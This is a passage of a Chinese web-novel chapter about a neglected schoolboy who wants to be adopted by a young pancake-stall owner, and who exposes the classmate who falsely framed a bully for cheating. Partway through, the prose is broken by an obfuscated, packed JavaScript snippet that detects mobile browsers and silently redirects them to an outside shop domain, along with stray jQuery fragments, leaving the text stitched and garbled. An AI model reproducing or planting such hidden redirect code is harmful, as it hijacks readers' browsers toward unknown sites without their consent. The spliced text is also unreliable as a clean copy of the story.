王子阔诧异地愣了愣:“你怎么知道的?我小姨是在那儿……哎等等,”他反应过来,用胳膊肘往虞守肩膀上撞,挤眉弄眼地揶揄,“怎么啦?你小子这么早就想结婚了啊?看上哪个班的小姑娘了?” “不是,”虞守下意识往旁边躲,“我想,被重新,收养。” 今天的王子阔反应格外机灵,他眼睛一亮,脱口而出:“啊?你想让那个煎饼摊主收养你?”他对明浔的煎饼真是念念不忘,条件反射就撞上了正确答案。 虞守忙不迭点了点头:“对。” “啊……他没到年龄吧。”王子阔皱起眉,回忆着从大人那里听来的零星信息,“而且我听我姨说过,单身男性好像不能随便收养小孩的,手续可麻烦了。他应该没结婚吧?平时就看他一个人在摊子上忙活。” 虞守呼吸一窒,那颗刚刚被飘渺的希望托起起来的心脏,猛地就失去落点,沉甸甸地急速往下坠。 “别说他没到年龄了,你听他口音,都不知道从多远的地方来的。”王子阔压根没注意到虞守变化的脸色,自顾自地分析道,“他是外地人,一个人到我们这边来摆摊,总不可能在我们这边待一辈子吧?早晚要回家的。而且我看他平时的生意也不好……啧,就算生意不好也不愿意给我吃个煎饼,小气得要死,不知道什么时候就灰溜溜滚回他自己家去了。” 后面大半句话,虞守一个字都没听进去。 他只觉得脑子里“嗡嗡”作响,被塞进了一万只蚊虫般。 王子阔的话就像一把钝刀,生生割裂了他刚刚构建起来的、关于未来那一点点微弱的光亮。 外地人、没到年龄、单身、早晚要离开…… “哎不说了,”王子阔忽地转身回去恢复端正的坐姿,压低声音,“陈文龙来了。” 陈文龙走进教室,脸上同样带着比上周五更严重的伤,红肿的脸颊不知道挨了多少巴掌,显然周末在家也没好过。 他满肚子邪火无处发泄,眼神阴鸷地狠狠扫过教室,看到哥俩好虞守和王子阔时,更是像被针刺了一样。 最后一节数学课即将走向尾声,夕阳即将下山,顽皮的孩子们一个个都坐立不安,归心似箭。 而陈文龙整天的浑浑噩噩,终于在严厉的数学老师这里现了原形。 被点名时,他竟然一反常态,最简单的问题也支支吾吾答不上来。 王子阔幸灾乐祸地嗤笑出声。 陈文龙瞬间炸了,甚至不顾还在上课,转身指着王子阔和虞守的方向,委屈和愤怒如火山喷发:“你们凭什么笑我?王子阔你为什么老是帮虞守?你以为他是什么好东西吗?!” 王子阔当即一拍桌子站起来,他体型足足比陈文龙大一圈,气势也更足:“我说陈文龙你他妈有病吗?虞守到底怎么你了你又不说!你是不是脑子被驴踢了有被害妄想症?在家里被你老子揍了也要怪虞守身上是吧!?” “要不是他告密污蔑我我作弊,我上期末会被请家长吗?!我会被我爸打吗?!我只是忘了把笔记从桌洞里拿出来!我没有作弊!!” 终于,陈文龙一口气吼出积压已久的冤屈,因为激动,身体都在发抖。 那场考试没有监控,他百口莫辩,只能任由那份憋屈在心里生根、发酵、腐烂,成了他对虞守所有扭曲恶意的源头。 老师没法断定他是否作弊,为了顾全他的自尊,没当众批评,只悄悄叫来了家长,还让他当场做了套难度更高的补考卷。可这份“照顾”,无异于更刺眼的屈辱。 这屈辱压得他抬不起头,话也少了,只表哥问起时,他才含糊提了句对虞守的不满。 表哥本就仗义,没多问前因后果,只记着他受了委屈,之后几个月总带着人去堵虞守,替他出气。 此时此刻,向来好面子、高自尊心的陈文龙,竟将这件不堪回首的旧事当众吼了出来! 坐在前排貌似认真看书的崔霖,脸色早已惨白得不见一丝血色,他深深低着头,手指死死抠着课本边缘。突然同桌好心地问了句“你还好吧?”他竟像是被烫到一般,应激地甩开课本。 然而,全班的目光只是被他这突兀的举动短暂地吸引了一瞬,又回到了风暴中心。 陈文龙用那双通红的眼睛死死盯着虞守。 虞守一直沉默着,脸上是与年龄不符的平静,衬得当众发难的陈文龙好像一个歇斯底里的跳梁小丑。 “不是我。”终于,虞守轻轻地开口了,“我现在,才知道。” 现在才知道这件事? 陈文龙先是一愣:“怎么可能?”随即,那错愕迅速被更为汹涌的愤怒覆盖,“除了你还能是谁?!上学期期末考试,你就坐在我正后面!是你!是你故意扔了个举报的纸条在我脚边上!” 他声嘶力竭地吼着,字字控诉:“前后左右的同学我都问遍了!不是他们干的!他们也没看到有别人扔东西!只有你能做到!只有你!” 虞守语速缓慢,却字字清晰:“不是我。但我有,看到。” 陈文龙霎时哑火,像是被一只无形的手猝然扼住了喉咙,眼睛瞪得滚圆。 王子阔脸上的茫然之色逐渐褪去,他猛地一拍大腿:“嗯?虞守你说你看到有人扔纸团?哎,对啊!你坐在陈文龙正后面,前面的动静,你肯定看得最清楚啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712397|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,陈文龙的呼吸陡然变得粗重急促,充血的眼睛急迫地盯住这个如同哑巴般寡言的虞守。 就在这时,虞守忽然转过头,目光平静地投向教室的某个角落。 陈文龙僵硬地转过头,顺着虞守的视线看去—— 那个方向,是崔霖。 他们班的学习委员,也是他最为信任、第一个跑去询问、那天考试坐在他正前方的……崔霖。 其实崔霖与陈文龙之间并没有什么恩怨,小学生之前的感情来的快去的快,嫉妒愤恨也是一样。 只是考试当天,崔霖入座前看到陈文龙桌肚里的单词本,阴暗的心思就不受控地自己冒了头。趁着大家都在奋笔疾书,老师快走过来的时候,他撕了张纸条写下“陈文龙桌子里有东西”,揉成团从椅子下方扔到了陈文龙的桌子边。 他算准了老师会发现,算准了没监控没人能证明,却唯独没算到虞守会看见……更万万想不到,这个对暴力辱骂全都漠不关心的家伙,竟然会为了澄清冤屈将自己爆出来? “是他自己藏了单词本,跟我没关系……”崔霖失神地喃喃念叨着,可越想要说服自己,心里越是发虚。 放学时分,虞守拖拖拉拉,等学校都空了才走出校门。 他垂着头,方才教室里那场沸沸扬扬的闹剧,压根没在他脑子里留下半分痕迹。他满耳满心都盘旋着王子阔那句“收养不可能”,心情沉得像枝桠上的枯叶,风一吹就晃,没着没落的。 正走神间,一只温热的大手忽然轻轻按在他头顶,熟悉的嗓音从上方落下来,带着点漫不经心的暖意:“怎么磨蹭到最后一个?” 是……哥哥。 哥哥竟然来接他了! 明浔一只手还按在他发顶,另一只手随意搭在自行车把手上,平日里总扣在头上的渔夫帽不知去了哪儿。 明浔身后是一条看不到尽头的边际,以及一颗悬在半空鸭蛋黄似的夕阳,阳光刺得让人有些睁不开眼。 青年白皙的皮肤全部浸在暖橙的光里,眼神懒懒散散,几缕微卷的黑发垂下来,半遮着眉眼。 过了很多年,虞守才知道这种气质可以叫做“日系美男”,但那个时候,这个人的样子早已被岁月磨成了模糊的影子,像用橡皮擦强行擦去,任凭他怎么使劲想,都只剩一片淡得抓不住的痕。 明浔揉了一把小崽子呆楞的脑袋,语气没半分商量的余地:“今天你必须跟我回家。那个‘家’,以后再也不准去了。” 见虞守还僵在原地没反应,他干脆伸过手,直接握住了那只已经不再枯瘦的小手。 虞守坐稳后座,明浔轻轻一蹬踏板,自行车就沿着校门口的柏油路缓缓滑了出去,踩了几下才想起提醒:“抓紧我。” 虞守的眼睛微微睁大,还没反应过来该抓哪里,自行车突然拐过一个急弯,车身倾斜,他慌忙伸出手,抓住了明浔后腰处的衣服。 自行车在老城区的街巷里穿梭,风从身前往后掠,虞守鼻尖萦绕着明浔身上淡淡的桂花香,混着夕阳晒透布料的暖烘烘的气息,柔和得让人发昏。 路两旁的路灯还没亮,只有天边的晚霞烧得正艳,把明浔耳边微卷的发梢都染成了橘红色:“晚上想吃什么?我买了排骨。天气凉了,炖点萝卜?” “……嗯。” 趁着明浔专心盘算晚餐菜谱的时候,虞守看着自己攥着衣角的手——那已经是越界的亲近了,却还是忍不住,情不自禁地再往前挪了挪,把脸颊往青年温热的后背贴了贴。